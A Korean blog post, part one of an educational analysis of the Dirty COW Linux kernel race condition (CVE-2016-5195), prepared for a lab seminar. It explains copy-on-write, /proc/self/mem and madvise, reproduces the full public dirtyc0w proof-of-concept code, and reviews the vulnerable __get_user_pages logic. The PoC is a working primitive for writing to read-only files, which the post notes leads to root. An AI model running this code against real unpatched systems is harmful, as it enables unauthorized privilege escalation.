Dirty Cow (CVE-2016-5195) 분석 - 1

해킹/ kernel 2019. 1. 22. 14:11

Dirty Cow(CVE-2016-5195) 취약점은 커널의 메모리 서브시스템에서 발생하는 취약점이다. Race Condition을 이용해 Copy-on-Write 과정에서 오류를 일으켜 읽기 권한 파일에 대한 쓰기 행위를 일으킬 수 있다.  무려 2007년 kernel verson 2.6.22부터 2016년 까지 커널에 존재하며 패치되지 않은 오래된 취약점이다. 기본적으로는 읽기 권한이 존재하는 파일에 대한 쓰기 취약점이지만 물론 vdso를 덮는다거나 /etc/passwd나 sudo 바이너리를 덮는 등 어떻게든 root 권한을 딸 수 있어 사실상 root로의 PE(privilege escalation)가 가능한 취약점이다.

연구실 세미나 준비를 위해 분석했던 취약점인 만큼 이해를 위해 필요한 배경지식을 많이 공부했었는데 이번 글에서는 이런 배경지식을 기반으로 더티카우를 개념적으로 설명하고 poc와 소스코드에 대한 분석, 마지막으로 실제 커널 디버깅을 통해 취약점이 어떻게 트리거 되는지 포스팅 한다. 

다만 발표자료에서 레이스컨디션 같은 기본적인 배경지식은 제하고 작성했다.ㅎㅎ


Background 1 - Copy on Write

Dirty CoW 자체가 페이지가 변조되었음을 의미하는 Dirty bit에서 Dirty를 가져오고 Copy on Write 에서 CoW를 가져온 네이밍이다. Copy on Write는 대체로 쓸데없는 복사 과정에서의 오버헤드를 줄이기 위해 쓰기 요청이 들어오기 전까지는 실제로 원본을 복사하지 않고 사본의 위치만을 특정해 놓는 방식을 의미한다. 변조되기 전까지는 원본의 내용을 보여주는 방식으로 리소스의 사용을 줄일 수 있다. 

하지만 Dirty CoW를 일으키는 Copy on Write는 리소스를 줄이기 위한 맥락의 CoW가 아니다.  이 Cow는 Read-only 파일이 mapping된 메모리에 무언가를 쓰려고 할 때 발생한다. Read-only 메모리에 어떻게 쓰기 요청이 가능한지는 잠시 후에 다루도록 하고, 실제로 이런 일이 발생하면 (mmap을 통한 디스크 맵핑에 MAP_PRIVATE 플래그가 설정되어 있을 경우) 실제 physical memory에 존재하는 map의 사본을 user process의 virtual address에 할당하여 수정이 가능하도록 한다. 이 경우 쓰기는 physical memory 상에서 실제 map이 아닌 사본에 이루어지므로 원본 disk에는 영향을 끼치지 않는다.


위 그림처럼 내가 메모리의 특정 위치에 대한 쓰기 권한을 가지고 있지만 그 메모리가 read-only disk에 mapping 되어 있는 경우를 상정해 보자. User process는 자신의 메모리에 "moo"라는 내용을 쓰기를 커널에 요청한다.


커널은 똑똑하게 disk에 쓰기 권한이 없다는 사실을 알아채고 이에 대한 private copy를 생성한다.


이후 address 0x12345678에 대한 page mapping을 private copy쪽으로 바꿔주면 유저 프로세스는 map 을 가리키고 있다고 생각하지만 실제 쓰기는 private copy에 일어나게 된다.


이렇게 실제 "moo"라는 문자열은 private copy에 쓰여 User process 입장에서는 메모리에 대한 R/W 권한이 이행됐고 disk입장에서는 변조가 일어나지 않아 R/O권한이 지켜졌다. 하지만 애초에 어떻게 disk를 메모리에 mapping 할때의 권한과 해당 메모리에 대한 권한이 달라질 수 있을까? 정상적인 방법은 아니지만 /proc 폴더를 사용해서 저런 비대칭을 만들어 낼 수 있다.


Background 2 - procfs

유닉스 계열 운영 체제에서는 프로세스와 시스템 정보를 디렉토리, 파일 형식으로 보여주는 procfs를 포함한다. 사실 시스템 해킹을 공부한 사람들은 자주 접해서 익숙한 /proc 폴더가 바로 이 procfs다.  보통은 /proc/PID/map으로 메모리 레이아웃을 보거나 fd로 열려있는 파일들을 확인하기도 하고, 커널 함수 심볼에 대한 정보나 메모리 자체도 볼 수 있다. 이중 dirty cow 취약점과 연관되는 파일은 /proc/self/mem 파일이다. 언급하기도 민망한 사실이지만 self는 자신의 pid로 된 /proc/PID 폴더에 대한 심볼링 링크이다. 이 mem이라는 가상 파일은 해당 프로세스의 virtual memory를 대변한다. 그리고 당연하게도 자신의 메모리 자체는 write가 가능해야 하므로 rw- 권한을 가지고 있다!

그림처럼 /proc/self/mem의 permission을 확인하면 read와 write 권한을 둘다 가지고 있는 것을 알 수 있다. 그냥 ls -al로 확인하면 편한데 캡처가 너무 얇은게 보기 싫어서 탐색기에서 긁어봤다.

그럼 이 /proc/self/mem을 이용해서 어떻게 위의 R/O, R/W 불균형을 만들어낼까?
  1. 먼저 R/O 파일을 메모리에 MAP_PRIVATE로 mmap한다. --> R/O map 생성
  2. /proc/self/mem을 open 함수를 사용해서 파일처럼 연다.  -->R/W 파일 open
  3. /proc/self/mem 이라는 R/W파일에서 map의 가상주소(0x7ff~라던지) offset에 접근하면 R/O disk map에 대한  write 행위를 요청할 수 있다.




도식화 하면 위와 같다.  가상메모리 자체를 하나의 파일로 보고 열어서 오프셋에 접근하는 방식으로 R/W R/O 불균형이 발생했다.



물론 저렇게 R/W를 요청하면 Copy on Write가 일어나 실제 디스크에 대한 쓰기가 아닌 private copy에 대한 쓰기가 되므로 직접적인 보안 위협은 '아직까지는' 일어나지 않는다.



Background 3 - madvise()

int madvise(void* addr, size_t length, int advice);
madvise는 커널에 메모리에 대한 처리를 advice 한다. Unix냐 Linux냐, glibc 버전이 몇이냐에 따라 조언의 종류가 달라지긴 하지만 기본적으로 MADV_DONTNEED는 다 가지고 있다. 

MADV_DONTNEED는 당분간은 해당 영역에 접근할 예정이 없다는 뜻이고 이 페이지에 다시 접근할 경우 접근이 성공은 하지만 최신 내용으로 메모리를 다시 채우게 된다. 페이지들이 반드시 즉시 해제되는 것은 아니며 커널에서 페이지 해제를 자유로이 적절한 시점으로 연기할 수 있다.

 http://man7.org/linux/man-pages/man2/madvise.2.html  의 리눅스 매뉴얼 페이지에 자세하게 나와있다.



Proof of Concept 

poc에 대한 해석은 위의 PoC 코드를 기준으로 작성했다.

main
  1. int main(int argc,char *argv[])  
  2. {  
  3. /* 
  4. You have to pass two arguments. File and Contents. 
  5. */  
  6.   if (argc<3) {  
  7.   (void)fprintf(stderr, "%s\n",  
  8.       "usage: dirtyc0w target_file new_content");  
  9.   return 1; }  
  10.   pthread_t pth1,pth2;  
  11. /* 
  12. You have to open the file in read only mode. 
  13. */  
  14.   f=open(argv[1],O_RDONLY);  
  15.   fstat(f,&st);  
  16.   name=argv[1];  
  17. /* 
  18. You have to use MAP_PRIVATE for copy-on-write mapping. 
  19. > Create a private copy-on-write mapping.  Updates to the 
  20. > mapping are not visible to other processes mapping the same 
  21. > file, and are not carried through to the underlying file.  It 
  22. > is unspecified whether changes made to the file after the 
  23. > mmap() call are visible in the mapped region. 
  24. */  
  25. /* 
  26. You have to open with PROT_READ. 
  27. */  
  28.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  
  29.   printf("mmap %zx\n\n",(uintptr_t) map);  
  30. /* 
  31. You have to do it on two threads. 
  32. */  
  33.   pthread_create(&pth1,NULL,madviseThread,argv[1]);  
  34.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);  
  35. /* 
  36. You have to wait for the threads to finish. 
  37. */  
  38.   pthread_join(pth1,NULL);  
  39.   pthread_join(pth2,NULL);  
  40.   return 0;  
  41. }  
main 에서는 많은 행위를 하지는 않는다. 타겟 read-only 파일을 열고 MAP_PRIVATE로 메모리에 매핑한다. 이 주소는 map이라는 변수로 저장된다. 이후 두개의 스레드를 생성해서 하나의 스레드는 madvise로 map 페이지를 "MADV_DONTNEED" advice 해서 버리도록 하고, 다른 하나의 스레드는 /proc/self/mem을 열어서 map 주소의 offset에 써서 Copy on Write를 일으킨다. 두 스레드 내에서 기능이 반복 실행되며 레이스 컨디션이 발생한다.
thread 1: madvise
  1. void *madviseThread(void *arg)  
  2. {  
  3.   char *str;  
  4.   str=(char*)arg;  
  5.   int i,c=0;  
  6.   for(i=0;i<100000000;i++)  
  7.   {  
  8. /* 
  9. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 
  10. > This is achieved by racing the madvise(MADV_DONTNEED) system call 
  11. > while having the page of the executable mmapped in memory. 
  12. */  
  13.     c+=madvise(map,100,MADV_DONTNEED);  
  14.   }  
  15.   printf("madvise %d\n\n",c);  
  16. }  
첫번째 스레드다. 딱히 설명할 것도 없이 위에서 설명한 대로 map이 할당된 페이지를 madvise를 통해 DONTNEED advice 한다.


thread 2: write to /proc/self/mem
  1. void *procselfmemThread(void *arg)  
  2. {  
  3.   char *str;  
  4.   str=(char*)arg;  
  5. /* 
  6. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 
  7. >  The in the wild exploit we are aware of doesn't work on Red Hat 
  8. >  Enterprise Linux 5 and 6 out of the box because on one side of 
  9. >  the race it writes to /proc/self/mem, but /proc/self/mem is not 
  10. >  writable on Red Hat Enterprise Linux 5 and 6. 
  11. */  
  12.   int f=open("/proc/self/mem",O_RDWR);  
  13.   int i,c=0;  
  14.   for(i=0;i<100000000;i++) {  
  15. /* 
  16. You have to reset the file pointer to the memory position. 
  17. */  
  18.     lseek(f,(uintptr_t) map,SEEK_SET);  
  19.     c+=write(f,str,strlen(str));  
  20.   }  
  21.   printf("procselfmem %d\n\n", c);  
  22. }  
두번째 스레드다, /proc/self/mem을 열고 반복문을 돌며 파일의 포인터를 map 주소로 옮기고  write를 시도한다. Background2 에서 설명한 바와 같이 /proc/self/mem 을 통해 R/O map에 대한 쓰기 요청을 커널에 보내는 행위를 반복적으로 하는 스레드다.


Copy on Write가 일어난 시점에서 커널은 메모리의 쓰기 권한이 확보된 것으로 판단하고 페이지를 탐색한다. 이때 madvise에 의해 private copy 페이지가 버려지면 페이지를 다시 탐색하는데 앞에서 쓰기 권한이 확보된 것이라는 판단을 가지고 있기 때문에 디스크에 대한 "실제" map 페이지를 가져오며 쓰기 권한을 검사하지 않는다. 이 순서로 레이스 컨디션이 발생하면 읽기 전용 파일에 원하는 내용을 쓸 수 있다. 코드를 통해 보면 조금 더 명료하다.


Proof - Code Review (v3.8 기준)

워낙 오랫동안 커널에 존재했던 취약점이기 때문에 취약한 코드가 존재하는 형태가 중간에 달라졌다. 나는 테스트를 위해 v3.8 코드를 빌드하여 사용했으므로 code review는 v3.8을 기준으로 포스팅한다.

사실 디버깅을 하면서 어느정도 depth 까지 증명해야 하는지 고민을 많이 했다. 코드를 깊게 들어가면 갈수록 내가 이해할 수 없는 부분도 많았고 아예 어셈으로 구현되어 더이상 확인하기 힘든 부분도 있었다. 레이스 컨디션의 특성상 논리적 취약점이기 때문에 메모리 커럽션과 같이 크래시가 발생하는 포인트를 정확히 특정하는데에도 한계가 있었다. 우선은 최대한 CoW를 기준으로 개념 수준에서 설명했던 내용을 담을 수 있도록 코드 리뷰를 진행했다.

결론부터 말하면 취약한 행위는 위 콜스택 상에서 __get_user_pages 함수에서 일어난다. 유저의 메모리에 대한 읽기, 혹은 쓰기 요청이 발생하면 콜스택과 같이 mem_rw가 실행되고 실제 물리적 메모리상에 쓸 위치를 특정하기 위해 __get_user_pages 함수가 호출되게 된다. 코드 리뷰에서는 __access_remote_vm과 __get_user_pages 함수를 중점적으로 설명하게 될 것 같다



__access_remote_vm 함수 내부에서 get_user_pages를 호출하는 부분이다. ret 변수는 실행 결과를 대변하는 inteager 값이 들어가고 실제 실행올 통해 얻어낸 user page는 page 변수 내에 저장된다. ret를 통해 제대로 페이지를 가져왔는지 확인한 후 정상일 경우 아래의 else 블록이 실행된다.





kmap함수는 어셈으로 구현되어 page에 mapping된 실제 물리적 메모리 주소를 구하는 역할을 한다.  이렇게 얻어낸 결과를 maddr에 저장한다. 그리고 copy_to_user_page 함수가 실행되는데 실제로 디버깅을 해보면 저런 함수는 없고 그냥 memcpy 함수가 실행된다. 쓰려는 값이 buf에서 물리적 메모리 주소인 maddr로 memcpy가 일어난다. 물론 읽기의 경우는 반대로 memcpy 한다. 

그럼 이제 __get_user_pages 함수로 가져온 페이지에 memcpy 하는 것을 확인했으니 __get_user_pages 함수를 보며 Copy on Write가 발생하는 부분과 그부분이 왜 취약한지 확인해보자.




__get_user_pages 함수에서 조금 아래로 내려오면 위와 같은 do_while loop와 그 안에 while loop을 볼 수 있다. 먼저 윗쪽에 표시한 gup_flags는 필요한 권한을 나타내는 flag들이 올라가 있는 unsigned int 값이며 __get_user_pages 함수가 호출될 때 인자로 전달되는 값이다. 이 값을 foll_flags라는 변수에 옮겨담는 것을 볼 수 있다.

아래쪽 while loop에서는 이 foll_flags를 만족하는 page를 찾기 위해 follow_page 함수를 호출하고 page를 정상적으로 찾지 못했을 경우 처리하는 루틴이 들어있는 것을 볼 수 있다. 이 루프에서 제일 중요한 문제가 발생한다!




__get_user_pages에서 while loop의 안쪽이다.  foll_flags를 기준으로 어떤 flag로 인해 에러가 났는지 확인해서 fault_flags라는 변수를 만들어 낸 후 fault_falgs를 처리하기 위해 handle_mm_fault 함수가 호출된다. Dirty Cow의 겨웅에는 쓰기 권한이 없는 페이지에 대한 Write 요청이 문제다 되었으므로 FOLL_WRITE 플래그에 대한 처리를 할 것이고 결과적으로 Copy on Write가 일어나 기존의 디스크가 매핑되어 있는 페이지가 사라지고 private copy를 만들어 낼 것이다. 실제로 handle_mm_falut 함수 -> handle_pte_fault -> do_wp_page에 의해 copy on write가 발생하니 의심이 간다면 실제로 디버깅을 해보면 된다.


그리고 바로 다음 부분에서 문제의 코드가 실행된다. 이렇게 사본을 만들어 낸 후 다시 while loop의 첫부분으로 가서 follow_page 함수의 호출을 통해 페이지를 찾아야 하는데 이때  private copy 페이지에 쓰기를 허용하기 위해 foll_flags 변수에서 FOLL_WRITE 권한에 대한 검사를 빼버린다. 이제 while loop의 조건부로 돌아가서 follow_page 함수를 호출할 때는 더이상 FOLL_WRITE 권한을 검사하지 않는다.

문제는 이때 다른 스레드에서 map에 대한 madivse(MADV_DONTNEED)가 발생할 경우 private copy 페이지가 버려지게 된다. 그러면 follow_page 함수는 private copy 페이지를 찾지 못하고 다른 페이지를 찾아야 할 것이다. 이때 foll_flags에는 이미 FOLL_WRITE 권한이 삭제된 상황이므로 페이지가 디스크에 매핑된 R/O 원본 페이지더라도 권한상의 문제점을 발견하지 못한다. 즉 이때 follow_page 함수는 내가 찾는 페이지가 값이 쓰이게 될 페이지인지 알지 못한다. 이렇게 원본 페이지가 반환되게 되면 copy_to_user_page 부분까지 정상적으로 실행되면서 R/O인 디스크 매핑에 값이 쓰여지게 된다. 


이렇게 해서 코드 리뷰까지는 완료했고 뒤에 디버깅과 익스플로잇까지 글을 적어뒀지만 망할 티스토리가 용량문제로 에버노트에서 글을 못가져오는 것 같다. 어쩔 수 없이 디버깅과 root 익스플로잇은 다음 포스팅으로 넘기도록 한다.


















'해킹 > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 2  (1) 2019.01.22
Tags
Social